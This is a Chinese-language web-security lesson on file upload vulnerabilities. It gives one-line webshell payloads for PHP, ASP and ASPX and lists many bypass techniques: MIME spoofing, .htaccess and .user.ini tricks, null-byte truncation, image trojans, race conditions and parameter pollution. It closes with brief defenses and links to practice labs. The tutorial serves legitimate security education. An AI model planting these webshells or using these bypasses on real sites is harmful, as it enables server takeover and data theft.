一、常見文件上傳點(diǎn)
大部分的網(wǎng)站和應(yīng)用系統(tǒng)都有上傳功能,如用戶頭像上傳,圖片上傳,文檔上傳等。
二、任意文件上傳漏洞
由于對(duì)上傳文件未作過濾
或過濾機(jī)制不嚴(yán)(文件后綴或類型)
,導(dǎo)致惡意用戶可以上傳腳本文件
,通過上傳文件可以達(dá)到控制網(wǎng)站權(quán)限的目的。
三、任意文件上傳危害
- 攻擊者可獲得網(wǎng)站控制權(quán)限;
- 查看、修改、刪除網(wǎng)站數(shù)據(jù);
- 通過提權(quán)漏洞可獲得主機(jī)權(quán)限。
四、webshell
一種網(wǎng)頁后門,以以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境
,也可以將其稱做為一種網(wǎng)頁后門
。
黑客在入侵了一個(gè)網(wǎng)站后,通常會(huì)將asp或php后門文件與網(wǎng)站服務(wù)器WEB目錄下正常的網(wǎng)頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個(gè)命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。
常見的一句話木馬:
- PHP的一句話木馬:
<?php @eval($_POST[‘pass’]);?>
- ASP的一句話木馬:
<%eval request(“pass”)%>
- ASPX的一句話木馬:
<%@ Page Language=”Jscript”%>
<%eval(Request.Item[“pass”],”unsafe”);%>
五、上傳木馬所需條件
- 概念
利用文件上傳漏洞,通過向服務(wù)端提交一句簡短代碼或木馬,配合本地客戶端(菜刀、蟻劍等工具)實(shí)現(xiàn)webshell功能
滿足這三個(gè)條件,攻擊者就能夠成功入侵:
- 木馬上傳成功,未被殺;
- 知道木馬的路徑在哪;(假如不知道上傳文件的路徑在哪里,可以:
- 爆破/遍歷。
- 讓程序報(bào)錯(cuò),例如亂修改URL或者隨意輸入一個(gè)不存在的路徑)
- 上傳的木馬能正常運(yùn)行(解析)。
六、木馬上傳流程
- 客戶端JavaScript前端檢測(幾乎可以忽略)
- 服務(wù)器端MIME類型檢測
- 服務(wù)端目錄路徑檢測
- 服務(wù)端文件擴(kuò)展名檢測
- 服務(wù)端文件內(nèi)容檢測
部分網(wǎng)站帶有文件上傳功能,如果這個(gè)功能不做過濾,則能夠上傳任意文件至服務(wù)器。利用這個(gè)功能上傳木馬至服務(wù)器,則能夠控制對(duì)應(yīng)的服務(wù)器。
木馬上傳成功后返回包一般會(huì)返回上傳木馬的路徑和文件名。若上傳的是一句話木馬,用菜刀或者C刀就可以控制服務(wù)器。
七、上傳繞過
1、繞過JS驗(yàn)證
1)Burpsuite剔除響應(yīng)JS。
對(duì)于JS前端驗(yàn)證,直接刪除掉JS代碼之后就可以繞過JS驗(yàn)證。
2)瀏覽器審計(jì)工具剔除JS
利用瀏覽器的審查工具剔除JS之后,保存為新文件然后進(jìn)行文件上傳。
2、繞過MIME-Type驗(yàn)證
1)利用抓包工具,攔截請(qǐng)求包
修改數(shù)據(jù)包請(qǐng)求中的Content Type字段,然后再發(fā)送出去。
2)MIME-Type類型
鏈接: 常見的MIME-Type類型與文件后綴名
3)驗(yàn)證MIME-Type代碼分析
查看源代碼分析 使用 $_FILE[‘upload_file’][‘type’] 獲取上傳文件的MIME-Type類型。其中upload_file是在表單中定義的。(該驗(yàn)證方式主要是檢測請(qǐng)求包里面的類型字段)
3、繞過黑名單驗(yàn)證
1)文件后綴名驗(yàn)證
-
基于文件后綴名驗(yàn)證介紹:
對(duì)于文件上傳模塊來說,盡量避免上傳可執(zhí)行的腳本文件。為了防止上傳腳本需要設(shè)置對(duì)應(yīng)的驗(yàn)證方式。最簡單的就是設(shè)置文件后綴名驗(yàn)證。 -
基于文件后綴名驗(yàn)證方式的分類:
- 基于白名單驗(yàn)證:只針對(duì)白名單中有的后綴名,文件才能上傳成功。
- 基于黑名單驗(yàn)證:只針對(duì)黑名單中沒有的后綴名,文件才能上傳成功。
簡單來說就是我將一個(gè)后綴名亂七八糟test.sfasdfklsd的文件進(jìn)行上傳,假如能夠上傳成功,說明該處設(shè)置了黑名單驗(yàn)證,如果不能上傳成就說明該處設(shè)置了白名單驗(yàn)證。
2)基于黑名單驗(yàn)證代碼分析
對(duì)于黑名單中的后綴名篩選。繞過黑名單可以通過尋找“漏網(wǎng)之魚”,尋找某些可以被作為腳本執(zhí)行同時(shí)也不在黑名單中。
我們可以使用Burpsuite繞過黑名單驗(yàn)證,利用Burpsuite工具截?cái)郒TTP請(qǐng)求,利用Intruder模塊進(jìn)行枚舉后綴名,尋找黑名單中沒有過濾的后綴名。
3).htaccess文件(針對(duì)Apache)
htaccess文件是Apache服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁配置。通過htaccess文件,可以幫我們實(shí)現(xiàn):網(wǎng)頁301重定向、自定義404錯(cuò)誤頁面、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認(rèn)文檔等功能。
其中.htaccess
文件對(duì)應(yīng)的MIME-Type類型:
SetHandler application/x-httpd-php
設(shè)置當(dāng)前目錄
所有文件都使用PHP解析,那么無論上傳任何文件,只要文件內(nèi)容符合PHP語言代碼規(guī)范,就會(huì)被當(dāng)作PHP執(zhí)行
。不符合則報(bào)錯(cuò)。
前提
:Apache中允許使用 .htaccess 的配置文件(默認(rèn)是開啟的)
在Apache中如果需要啟動(dòng) .htaccess,必須在http.conf中設(shè)置 AllowOverride
注意:
.htaccess 的配置文件一般是無法在桌面上創(chuàng)建的,這時(shí)候就可以使用Burp抓包來直接修改上傳文件的配置名。
4)大小寫繞過
Windows系統(tǒng)下,對(duì)于文件名中的大小寫不敏感。例如:test.php和TeSt.PHP是一樣的。
Linux系統(tǒng)下,對(duì)于文件名中的大小寫敏感。例如:test.php和 TesT.php就是不一樣的。
5)user.ini文件繞過
- 先上傳一個(gè).user.ini文件【用戶自定義的配置文件】,內(nèi)容為:
auto_prepend_file=1.gif
- 再上傳一個(gè)1.gif文件,內(nèi)容為木馬;
- 最后在瀏覽器訪問一個(gè)在當(dāng)前目錄下的隨意一個(gè)php文件(必須存在),就能間接的訪問了該以1.gif命名的木馬了。
注意:
- 這里在當(dāng)前目錄下必須存在php文件;
- 目標(biāo)的php版本有要求,php要帶nts版本;
- 允許上傳 .ini 文件;
這里很多人會(huì)想,在真實(shí)環(huán)境豈不是很雞肋,畢竟一個(gè)不允許上傳php文件的路徑怎么可能會(huì)存在php文件?這里其實(shí)我們可以直接使用burp把上傳的路徑給改了的,讓它上傳到一個(gè)有php文件的路徑。
6)空格繞過
繞過原理:Windows系統(tǒng)
下,對(duì)于文件名中空格會(huì)被作為空處理,程序中的檢測代碼卻不能自動(dòng)刪除空格。從而繞過黑名單。
7).
號(hào)繞過
繞過原理Windows系統(tǒng)
下,文件后綴名最后一個(gè)點(diǎn)會(huì)被自動(dòng)去除。
8)特殊符號(hào)繞過
繞過原理Windows系統(tǒng)
下,如果上傳的文件名中test.php::$DATA
會(huì)在服務(wù)器上生成一個(gè)test.php的文件,其中內(nèi)容和所上傳文件內(nèi)容相同,并被解析。
例如:
在Windows系統(tǒng)下新建一個(gè)文件名為 1.php::$DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符號(hào)不能成功新建。
9)路徑拼接繞過
繞過原理
在沒有對(duì)上傳的文件進(jìn)行重命名的情況下,用戶可以自定義文件名并在服務(wù)器中上傳新建,就會(huì)造成對(duì)應(yīng)的繞過黑名單。
例如:
用戶新建 1.php.+空格+.
deldot刪除最后一個(gè)點(diǎn)之后,不再進(jìn)行刪除,trim刪除空格,那么最終上傳的文件名為 1.php.。利用Windows
自動(dòng)去除最后一個(gè)點(diǎn),導(dǎo)致成功上傳1.php。
10)雙寫繞過
繞過原理
代碼編寫過程中,只對(duì)黑名單中的內(nèi)容進(jìn)行空替換,因?yàn)橹惶鎿Q一次所以造成雙寫繞過。
例如:
1.phphpp
4、白名單繞過(00截?cái)?
00截?cái)嘣恚?br> 0x00是十六進(jìn)制
表示方法,是ascii碼為0的字符,在有些函數(shù)處理時(shí),會(huì)把這個(gè)字符當(dāng)做結(jié)束符。
系統(tǒng)在對(duì)文件名的讀取時(shí),如果遇到0x00,就會(huì)認(rèn)為讀取已結(jié)束。
在PHP5.3之后的版本中完全修復(fù)了00截?cái)唷?/code>并且00截?cái)嗍芟夼cGPC,addslashes函數(shù)。
- GET型00截?cái)?br> GET型提交的內(nèi)容會(huì)被自動(dòng)進(jìn)行URL解碼。
- POST型00截?cái)?br> 在POST請(qǐng)求中,%00不會(huì)被自動(dòng)解碼,需要在16進(jìn)制中進(jìn)行修改00.
5、文件包含漏洞繞過
在PHP中,使用include
、require
、include_once
、require_once
函數(shù)包含的文件都會(huì)被當(dāng)作PHP代碼執(zhí)行,無論文件的名稱是什么,只要符合文件內(nèi)容符合PHP代碼規(guī)范,都會(huì)被當(dāng)作PHP代碼執(zhí)行。
利用存在文件包含的PHP頁面,包含上傳的圖片木馬,從而觸發(fā)木馬。
6、文件內(nèi)容檢測繞過
1) 文件幻數(shù)(文件頭)檢測繞過:
通過正則匹配判斷文件幻數(shù)(文件頭)內(nèi)容是否符合要求,一般為白名單檢測,常見的文件頭(文件頭標(biāo)志位)如下:
- .JPEG .JPE .JPG :“JPGGraphicFile”(FFD8FFFE00)
- .gif:”GIF89A”(474946383961)
- .zip:”ZipCompressed”(504B0304)
- .doc .xls .xlt .ppt .apr:“MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1)
一般是在木馬文件頭部插入對(duì)應(yīng)的文件頭內(nèi)容,比如GIF89A等,偽裝成圖片馬。
圖片馬制作方法:
- 直接在木馬文件的頭部添加GIF89A等字母;
- 直接在圖片文件中添加payload(易造成圖片損壞);
- 使用cmd命令,copy tupian.jpg /b + muma.php /a muma.jpg
- 使用edjpgcom等工具制作;
2) getimagesize()檢測繞過
getimagesize()函數(shù)會(huì)讀取目標(biāo)文件的16進(jìn)制,驗(yàn)證目標(biāo)文件16進(jìn)制的頭幾個(gè)字符串是否符合圖片的要求,通過此函數(shù)判斷文件類型。故可以使用圖片馬進(jìn)行繞過。
源碼:
3) exif_imagetype()檢測繞過
exif_imagetype()函數(shù)是用來讀取文件的第一個(gè)字節(jié)并檢查其簽名,即通過文件頭判斷文件類型。所以與getimagesize()函數(shù)檢測一樣,可使用圖片馬進(jìn)行繞過。
7、競爭條件繞過
文件上傳過程介紹
競爭條件原理介紹
網(wǎng)站邏輯:
網(wǎng)站允許上傳任意文件,臨時(shí)保存在服務(wù)器
,然后檢測上傳的文件是否符合上傳的條件,符合就重命名該文件并保存,不符合就刪除。
在刪除之前,訪問上傳的php文件,從而執(zhí)行上傳文件中的php代碼。
簡單來說就是,不斷(大量)上傳文件,同時(shí)也不斷(大量)嘗試請(qǐng)求訪問該文件,利用時(shí)間差
去賭服務(wù)器線程來不及刪除文件然后成功訪問并執(zhí)行的可能性,從而實(shí)現(xiàn)先木馬上傳。
例如,上傳文件代碼如下:<?php fputs(fopen('shell.php','w'),'<?php phpinfo(); ?>'); ?>
該代碼是生成一個(gè)名叫shell.php的PHP文件,內(nèi)容是一句話木馬。
源碼:
- 上傳邏輯
1.通過move_uploaded_file($temp_file, $upload_file)
移動(dòng)上傳的文件;
2.上傳完畢后通過in_array($file_ext,$ext_arr)
檢查文件名后綴是否在白名單中;
3.若后綴合法,則對(duì)文件進(jìn)行重命名(rename),上傳完成;
4.若后綴非法,則刪除文件。
8、臟字符繞過
臟字符參數(shù)填充的地方,from-data 后面 ,或者,內(nèi)容臟字符繞,當(dāng)然內(nèi)容臟字符繞過還是需要考慮一下語言注釋符常見如jsp<!–注釋內(nèi)容–> php /**/ ,當(dāng)waf檢測內(nèi)容數(shù)據(jù)包過大時(shí),可能會(huì)放行。
9、文件路徑修改繞過
木馬文件上傳成功,但是不解析,看請(qǐng)求包是否存在有指定上傳路徑
利用../
回溯,上傳到根目錄
成功鏈接木馬
10、HPP漏洞繞過
1)HPP漏洞
HPP 是 HTTP Parameter Pollution 的縮寫,意思即“ HTTP 參數(shù)污染 ”。這個(gè)漏洞由 S.di Paola 與 L. Caret Toni 在 2009 年的 OWASP 上首次公布。這也是一種注入型的漏洞,攻擊者通過在HTTP請(qǐng)求中插入特定的參數(shù)來發(fā)起攻擊。如果Web應(yīng)用中存在這樣的漏洞,可以被攻擊者利用來進(jìn)行客戶端或者服務(wù)器端的攻擊。通過 HPP 參數(shù)污染可以實(shí)現(xiàn)繞過 waf 來進(jìn)行攻擊。
2)漏洞原理
瀏覽器與服務(wù)器進(jìn)行交互時(shí),瀏覽器提交 GET/POST 請(qǐng)求參數(shù),這些參數(shù)會(huì)以 “名稱-值對(duì)” 的形式出現(xiàn)。通常在一個(gè)請(qǐng)求中,同樣名稱的參數(shù)只會(huì)出現(xiàn)一次,但是在 HTTP 協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次的
。
GET /foo?par1=val1&par2=val2 HTTP/1.1
User-Agent: Mozilla/5.0
Host: Host
Accept: */*
如上面的 HTTP 請(qǐng)求,在跟服務(wù)器交互的過程中,HTTP 協(xié)議允許 GET/POST 請(qǐng)求多次傳同一參數(shù)值。
但是不同的服務(wù)器處理方式會(huì)不一樣,比如必應(yīng)搜索引擎,如果輸入了兩次查詢參數(shù)q,第二次輸入的參數(shù)值將覆蓋第一次輸入的參數(shù)值:
但是對(duì)于谷歌搜索引擎,則會(huì)將兩次輸入的參數(shù)值進(jìn)行拼接而沒有覆蓋:
從上面可以看到,如果同時(shí)提供2個(gè)搜索的關(guān)鍵字參數(shù)給 Google,那么 Google 會(huì)對(duì)2個(gè)參數(shù)都進(jìn)行查詢;但是必應(yīng)則不一樣,它只會(huì)處理后面一個(gè)參數(shù)。服務(wù)列表
下面這個(gè)表簡單列舉了一些常見的 Web 服務(wù)器對(duì)同樣名稱的參數(shù)出現(xiàn)多次的處理方式:
3)漏洞利用
在HPP中最典型的的例子就是 “雙文件上傳” 。
1、如下例子,可以看到 filename 參數(shù)寫了兩次,可能繞過一些上傳限制:
2、也可以嘗試直接多加一個(gè) filename(HPP):
3、或者直接多個(gè) Content-Disposition:
4、同時(shí)可以上傳一個(gè)正常圖片文件+一個(gè)木馬文件嘗試?yán)@過:文章來源:http://www.zghlxwxcb.cn/news/detail-734790.html
------61234564788
Content-Disposition: form-data; name="FileName"; filename=“1.png”
圖片內(nèi)容
------61234564788
Content-Disposition: form-data; name="FileName1"; filename=“1.php”
木馬內(nèi)容
------61234564788--
八、防護(hù)措施
- 檢測的重點(diǎn)放在文件內(nèi)容檢測
- 路徑/擴(kuò)展名檢測一定要用白名單
- 不能有本地文件包含漏洞
- 隨時(shí)注意更新Web應(yīng)用軟件
九、靶場演示
鏈接: 文件上傳靶場upload-labs通關(guān)
鏈接: 靶場練習(xí)——SDcms文件上傳漏洞靶場文章來源地址http://www.zghlxwxcb.cn/news/detail-734790.html
到了這里,關(guān)于網(wǎng)絡(luò)安全進(jìn)階學(xué)習(xí)第五課——文件上傳漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!